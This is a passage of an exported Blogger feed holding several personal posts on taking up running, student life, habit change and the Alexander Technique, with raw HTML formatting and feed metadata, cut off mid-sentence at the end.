<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";"><br /></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">What are your
keys to keep the motivation going?<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">Let me know in
the comments below… I can always use more advice in this area.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";"><br /></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">Happy Running!<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">-Vicky<o:p></o:p></span></div>
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<br /></div>
<br />
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<br /></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-83715229817081361712015-08-03T13:34:00.000-03:002015-08-03T13:34:11.861-03:00From Running-Hater to Running-Lover<div class="separator" style="clear: both; text-align: left;">
This post was originally published in my new running and Alexander Technique blogsite, at <a href="http://www.joy4running.wordpress.com/">www.joy4running.wordpress.com</a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-w69Qasw1VWM/Vb-UWo-nq-I/AAAAAAAAIX0/jc-nX3kYpaU/s1600/DSC_0041%2Bxprocess2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="http://2.bp.blogspot.com/-w69Qasw1VWM/Vb-UWo-nq-I/AAAAAAAAIX0/jc-nX3kYpaU/s640/DSC_0041%2Bxprocess2.jpg" width="640" /></a></div>
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<br /></div>
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<span style="font-size: 14.0pt; line-height: 115%;">Every time I
took up running in the past it lasted me for no more than a month. My main
reason for taking up this particular form of torture was fairly
straightforward: I wanted to lose weight and I’d read that running burned far
more calories than walking. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">So, for a
few weeks, I would drag myself onto the <u>Rambla</u> a couple of times a week
for a 30 minute torture session of walk-run-walk. Although I enjoyed the
post-workout feeling of accomplishment, I hated every minute of going through
the actual ordeal of putting one foot in front of the other as I gasped for
breath and ached all over. This needless suffering was the main reason I would
start skipping sessions on any semi-justifiable excuse. <o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">The more I
skipped, the harder it was to break the inertia the next time. Eventually some
silly injury or nagging pain would keep me off the road for a couple of weeks
straight and that was the end of my running spree. The mere thought of having
to build up my endurance once again until 20 continuous minutes of jogging
didn’t feel like a death march was a sure motivation killer. <o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">I decided
running was not for me. When the running craze hit Uruguay I congratulated
myself for not being one of those self-torturing crazies on the Rambla, with
the pained expressions, heavy footfalls and heaving breaths. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">I had also
decided I didn’t <i>need </i>running. Having
found Pilates (which made me fall head over heels in love with movement for the
first time) and the Alexander Technique (which got me hooked into understanding
and thus moving how nature intended) I considered my movement needs more than
adequately met. And so it was for several years.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">But the
funny thing is that Pilates and Alexander Technique made me so comfortable in
my own body they inched me ever closer to enjoying all the movement possibilities
available to a human being… and running is just the natural evolution of
walking. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">So when my
sister, who used to be a running-hater too, started training for and completed
her first 5k race, I decided to give running another chance. To my pleasant and
ecstatic surprise I didn’t hate it AT ALL, I actually LOVED it. My training in
Pilates and Alexander Technique had made me an extremely efficient exerciser; I
had more endurance than seemed possible for someone who’d shunned cardio for years.
What’s even better, I discovered that even if I skipped a couple of weeks of
running, I could jump right back on track without feeling I had lost much
training. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Seeing that
running comes so easily and joyfully for me now, my sister has asked me what
the trick is. It’s not so much a trick but a set of organizing principles that
allow body and mind to be better coordinated. This results in the ability to
maintain good form and a deep breathing pattern even at times of great physical
exertion. The best part is we’ve discovered these principles can be taught and
learned fairly easily, so she’s improved her running too!<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">I’m writing
this blog to document my approach to running, in the hopes that it can help you
too. My sister will be the one keeping me real with what works and what
doesn’t. I’ll be sharing all my tips and
secrets which meet her one basic criteria for a run: take no more than 30
minutes.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Please, if
you are at all interested in enjoying running, leave a comment, ask a question,
suggest a topic for investigation. If you tell me what’s keeping you from
enjoying your runs, or what’s keeping you from running altogether, I’ll do my
best to figure out a way to get you a step closer to lacing on your running
shoes. <o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Happy
Running!<o:p></o:p></span></div>
<br />
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">-Vicky<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com4tag:blogger.com,1999:blog-574841750375577755.post-9317885949378984032015-06-02T15:33:00.000-03:002015-06-02T15:33:12.284-03:00On Being a Student (once again): 5 reminders for psychophysical survival and enjoyment<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-dTHvzvU1upM/VWudPWDW-MI/AAAAAAAAGb8/dVMIKlbiDq4/s1600/dog-734689_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-dTHvzvU1upM/VWudPWDW-MI/AAAAAAAAGb8/dVMIKlbiDq4/s1600/dog-734689_640.jpg" /></a></div>
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<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">Nearly 10
years after finishing my university degree in theatre in the USA, I am putting
myself once again through the 4-year-plus ordeal of acquiring a second degree,
in a completely unrelated field, here in Uruguay (physiotherapy).<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">In that 10
year span I wasn’t idle either. From 2009 to 2011 I put myself through three
years of Alexander Technique teacher training and got certified in Pilates
Method.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Hence, I know a
thing or two about being a student… and what it does to you. I am also prone to
forget what I know if I don’t remind myself about it. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">With that in
mind, I am putting those nuggets of wisdom in writing. These are <span style="color: #c00000;">my 5 key reminders for psychophysical survival and enjoyment
as a student</span>. They have carried me through 15 years of studying in
different countries and settings (both public and private), through different
approaches to learning, in different group sizes and with widely varying
resources. They count for both long training courses to short one-hour lessons,
and everything in between.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">1. Find your “deep why” to channel your energy and drive you on.</span></b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%;"><o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14pt; line-height: 115%;">Your “deep
why” is your dharma, your calling, that thing that sets your soul on fire. Being
a student is tough, especially when you also juggle a working-life and
family-life. When the going gets really hard it’s tempting to just call it
quits. Your “deep why” will carry you through those rough patches.</span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">2. Make peace with how things are to husband your energy and keep you sane.<o:p></o:p></span></b></div>
<div class="MsoNormal">
<span style="font-size: 14pt; line-height: 115%;">Learning situations are never ideal; one or several factors are usually not up to standard. Be clear about
what you want to get out of this learning situation, why you chose the institution, teacher, venue (or whatever), and use that clarity to
separate the chaff from the straw. Once in the learning situation don’t waste
energy in pursuits that don’t fulfill your deep why (like complaining that
things are not ideal).</span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">3. Know your habitual
patterns to avoid wasting energy and losing track of your true goal.<o:p></o:p></span></b></div>
<div class="MsoNormal">
<span style="font-size: 14pt; line-height: 115%;">We all have
student-personas. Different learning scenarios (study groups, exams,
one-on-ones, etc.) will trigger full psychophysical reactions and you might
find yourself acting like a high-school adolescent all over again. Know
yourself and be prepared to inhibit your desire to “be cool”, or "be perfect", (or whatever) and
direct your energy towards actions that truly fulfill your deep why.</span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">4. Empty your glass
that you might taste your teacher’s wine.<o:p></o:p></span></b></div>
<div class="MsoNormal">
<span style="font-size: 14pt; line-height: 115%;">If you’ve
been around for a while you’re probably already full of your own ideas about
how things are (or should be). But if you’re so full of your own wine, you’ll
never get a taste of your neighbour’s. So, regardless of how much you think you
know about the subject, don’t fight the teacher (unless, of course, they are
directly attacking you). After all, it’s you who chose to learn from them. So
be humble and listen to their point of view. Try to understand what frame of
thought they come from, why and how it works when it works, and how it relates
to your way of thinking about it.</span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">5. Involve yourself
psychophysically that you might make your own synthesis.<o:p></o:p></span></b></div>
<div class="MsoNormal">
<span style="font-size: 14pt; line-height: 115%;">Learning is
simultaneously a sensual, emotional, social and mental pursuit. To get the most
out of your learning bring your whole self into the matter, immerse yourself
psychophysically and socially. And after full immersion take time to create
your own synthesis, force yourself to elaborate your map of the subject matter.
Only then will it become an integral part of you.</span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-69167391465329877092015-03-29T20:00:00.000-03:002015-03-29T20:00:36.197-03:00The Fabric we are Made Of and the Garment we Become<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Hsm4GYRodIw/VRh5GiQDKKI/AAAAAAAAGKs/fi6G5ivwayQ/s1600/trousers-362781_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Hsm4GYRodIw/VRh5GiQDKKI/AAAAAAAAGKs/fi6G5ivwayQ/s1600/trousers-362781_640.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">For the most
part we are unaware of what a brilliant balancing act it was and still is for
our species to achieve the upright stance. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">In non-existent
“ideal” conditions the normal situation would be to be light, free, and unaware
that we are, in fact, living, moving, breathing, 24/7 balancing acts whose
stability is constantly being threatened, lost and efficiently, eutonically
recovered. In ideal conditions all response option would be open to us always,
so we’d be free to choose according to circumstances.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">But life
falls short of ideal. Although we all come with the same basic fabric design, we
are born neither perfectly symmetrical, nor perfectly balanced, nor perfectly
ambidextrous. </span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">As we choose, like and prefer some options over others, using
what works and gets results fast, we pull and twist the threads of our basic
design slightly askew to accommodate our tastes. This makes choosing the same
option easier the next time around, till we don’t have to “consciously choose”
anymore: we can reset to relative “neutral” while the fabric is still young and
elastic, but our favourite choice has becomes “preset”.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">The more we
choose the same paths over and over, the more they become a part of who we
believe we are, who we “<i>feel”</i> we are.
Eventually the choice becomes “us”, it gets recorded in the very grain of our
fabric. All the habitual twists, the stretches and pulls, the contractions and
rigidities become fixed. As our fabric ages and elasticity is lost, it becomes
harder and harder to reset to “neutral” and to choose and hold a different set
of twists and stretches on the fabric. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">As we become
convinced that the twisted and stretched fabric is in effect our “neutral” and
“natural” basic design, all “other” possible options fade from our awareness.
As they fade from our awareness they become temporarily “lost” in that
ineffable place that has become for us the “unknown”. There they will lie
dormant until we choose to set out on the quest to re-awaken our potential, to
map-out the unknown.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="separator" style="clear: both;">
</div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">The
“unknowable” will remain forever hidden from our human senses. But the
“unknown” will be forever there, waiting for us to map it and thus reclaim our
supreme inheritance.<o:p></o:p></span></div>
<br />Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-47445786519583442862015-03-19T18:40:00.000-03:002015-03-19T18:40:10.897-03:00Allowing Time to Make Space for Change<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-8tP3sHoJ5WM/VQtB9g6PBQI/AAAAAAAAGKM/qjwg-xw3m9Y/s1600/varias%2Bposturas-02%2B(2).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-8tP3sHoJ5WM/VQtB9g6PBQI/AAAAAAAAGKM/qjwg-xw3m9Y/s1600/varias%2Bposturas-02%2B(2).jpg" /></a></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Beginnings
are tough for me. I’m all about order, but beginnings tend to be for me all
about chaos. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Most of the
chaos stems from the fact that I haven’t fully closed the previous actions. I’m
dragging the dregs of yesterday into today and tomorrow, and getting them all
jumbled up with the new stuff that wants to emerge.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">What to do
about it?<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">If I
followed my own advice, I would quit doing stuff about it. I would find a bit
of space on the floor to lie down on my back, with my head supported on a few
books and my knees up. If I did this every day, morning and evening, I’d be making
space for change to happen.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">It’s hard to
believe that just lying down like that and doing nothing will make space for
things to sort themselves out. But it does. It’s a cascade of space creation: I
make space in my day to stop doing; that leads to making space to lie down;
lying down makes space in my body to release accumulated tension; as body
tension releases, mind tension lets go too and <i>voilá!</i> I have created space
in my mind. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">It’s all about
space: time-space, environmental-space, body-space, mind-space. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">There’s
absolutely nothing else required but to take the time to rest in that space. Time
itself will take care of the rest. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">When I ask myself
to start a new action, I have to allow time before saying or doing anything
more. Why? Because as soon as I ask myself to do something, I start up my
habitual response to any order (in my case too many frantic thoughts and
thoughtless actions) and it takes a little time for me to realize this and to
stop. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">And it’s
only when I have remembered and stopped, created space and given myself time, it’s
only when the dust of the previous actions has settled and the waves have
quieted in the mind-pool, that the next phase can operate.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<br />
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">What’s the
next phase? Listening, with my whole being, for a clear and true direction.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com9tag:blogger.com,1999:blog-574841750375577755.post-68002872911479641362015-01-13T11:35:00.000-02:002015-01-13T11:35:04.911-02:00CHANGING HABITS FOR BEGINNERS (part 1): The 3 tools<div class="MsoCommentText" style="line-height: 115%;">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">It’s difficult to change what we don’t know exists.</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> To change we need to know “what” to change,
and for that we need to have an experience that contrasts with our habit: <span style="color: #c00000;">the experience of another possibility</span>.<o:p></o:p></span></div>
<div class="MsoCommentText" style="line-height: 115%;">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoCommentText" style="line-height: 115%;">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">But
once we have that new experience, how to we make it into a new habit? In
general, <span style="color: #c00000;">the sole experience of a new possibility
does not establish the change</span>. It is necessary to record in your brain
the new option as a stronger neurological connection than your old habit.<o:p></o:p></span></div>
<div class="MsoCommentText" style="line-height: 115%;">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoCommentText" style="line-height: 115%;">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">For
that we need <span style="color: #c00000;">three tools: desire, inhibition, and
memory.<o:p></o:p></span></span></div>
<div class="MsoCommentText" style="line-height: 115%;">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #c00000;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-PEOSbpfNSbk/VLUaBOT9kUI/AAAAAAAAGDc/Hnrg9FQ8EbU/s1600/deckchairs.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-PEOSbpfNSbk/VLUaBOT9kUI/AAAAAAAAGDc/Hnrg9FQ8EbU/s1600/deckchairs.jpg" /></a></div>
<div class="MsoCommentText" style="line-height: 115%;">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #c00000;"><br /></span></span></div>
<div class="MsoNormal">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The tool of desire moves
us to recreate the new experience</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">,
even when it would be “easier and more comfortable” to indulge in our habit.
Change is destabilizing. Therefore we need to become familiar with this power
of “I want”: What do I want? Why do I want it? How do I achieve what I want?
What consequences would come with getting what I want?<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The tool of inhibition
allows us to choose which actions to allow manifestation and which to deny said
permission. </span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Inhibition is intrinsically linked to
desire, for it implies “saying no to” that which we don’t wish for anymore, and
being able to “say yes to” to the new wish. You need to know “what things” to
inhibit. Therefore we need to know: What elements make up my habit?<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The tool of memory
allows us to remember what we want and what we don’t want when it really
matters</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">. The ability to recruit your desire
and your power of inhibition to change your habits rests on your ability to
remember. F.M. Alexander once said that our greatest problem when it comes to
changing habits is that “we forget to remember.”<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Remembering what we want
depends, above all, on 2 factors: the strength of our wish and external
conditions</span><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> that help us to remember our wish.
How can I be more mindful of my wish throughout the day? How can I make it
easier for me to satisfy my wish instead of my habit?<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<br />
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">To sum up, the first step to being
successful in changing habits is to become familiar with your three basic
tools: <span style="color: #c00000;">Desire, Inhibition and Memory</span>.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-42018935948365819382015-01-07T09:00:00.000-02:002015-01-07T09:00:56.191-02:00Keys of the Alexander Technique (part 3): Powering up your THINKING<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Fwcg0efhQ0A/VKxk3zKn9AI/AAAAAAAAGB8/OEn3x7CKu-s/s1600/gorilla.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Fwcg0efhQ0A/VKxk3zKn9AI/AAAAAAAAGB8/OEn3x7CKu-s/s1600/gorilla.jpg" /></a></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">To “<u><span style="color: #00b050;"><a href="http://vstanhamalexandertechnique.blogspot.com/2014/12/keys-of-alexander-technique-part-2.html" target="_blank">think ourselves into movement</a></span></u>” we first need
to <u><span style="color: #00b050;"><a href="http://vstanhamalexandertechnique.blogspot.com/2014/12/keys-of-alexander-technique-part-1.html" target="_blank">clarify our thinking</a></span></u>. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">This means <span style="color: #7030a0;">first stopping to give ourselves the chance to “say no”
(inhibit) to our habitual way of moving and reacting</span>. This habitual way
is made up of our ongoing and ingrained tension patterns which make for an
inefficient “starting place” or “set point”.
<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">So, after
recognizing the stimulus to action, you give yourself a little pause, some
space to stop your habitual reaction and really consider “how” you want to
respond.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #7030a0; font-size: 14.0pt; line-height: 115%;">What
you want is a better starting place</span><span style="font-size: 14.0pt; line-height: 115%;">; so you get your “<u><span style="color: #00b050;"><a href="http://vstanhamalexandertechnique.blogspot.com/2014/12/keys-of-alexander-technique-part-2.html" target="_blank">primary movement</a></span></u>” going. This “primary movement”, which concerns itself with
the dynamic relationship between head & spine, leaves you in <span style="color: #7030a0;">the best possible conditions for any action: a dynamic
sense of poise and balance</span>.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">Still, you haven’t
yet gone anywhere. And it’s the getting going, and the continuing to go, in the
manner you decided that is the issue at stake here.<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #7030a0; font-size: 14.0pt; line-height: 115%;">You’ve
got to get the primary movement going first. But then you need to keep it going
as you go into movement</span><span style="font-size: 14.0pt; line-height: 115%;">,
when your brain recognizes what you’re up to and wants to insert the old habit
of tension. <o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">So how do
you keep the primary movement going during all subsequent movements? <span style="color: #7030a0;">You need to use your mind: <u>mindfulness</u> of movement
and <u>awareness</u> of the body as a whole <u>throughout</u> all movements</span>.
In Alexander jargon this is called: “keeping your primary directions going”. F.M. Alexander himself once said, “You think that the Alexander Technique is a physical thing; I
tell you it’s the most mental thing that’s ever been discovered.”<o:p></o:p></span></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #7030a0; font-size: 14.0pt; line-height: 115%;">It’s
a persistent, continuous state of monitoring progress, of mindfulness of
movement and awareness of yourself and your relationship to inner and outer
space.</span><span style="font-size: 14.0pt; line-height: 115%;"> You want to catch
yourself when the habit pricks up its ears, so you can let it go before it
completely takes over your system. Your persistent, continuous monitoring gives
the drive, the force, the energy to the new way.</span></div>
<br />
<div class="MsoNormal">
<span style="font-size: 14.0pt; line-height: 115%;">This is how
you build a new “habit”.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-90503843645279064012014-12-18T14:59:00.000-02:002014-12-18T14:59:48.740-02:00Keys of the Alexander Technique (part 2): THINKING yourself into Movement.<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-M3LJP1X2Ev8/VI40I3-b3_I/AAAAAAAAGAk/HzXXr_kdpp0/s1600/monkey-357462_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-M3LJP1X2Ev8/VI40I3-b3_I/AAAAAAAAGAk/HzXXr_kdpp0/s1600/monkey-357462_640.jpg" /></a></div>
<span style="font-size: 14pt; line-height: 115%;">The
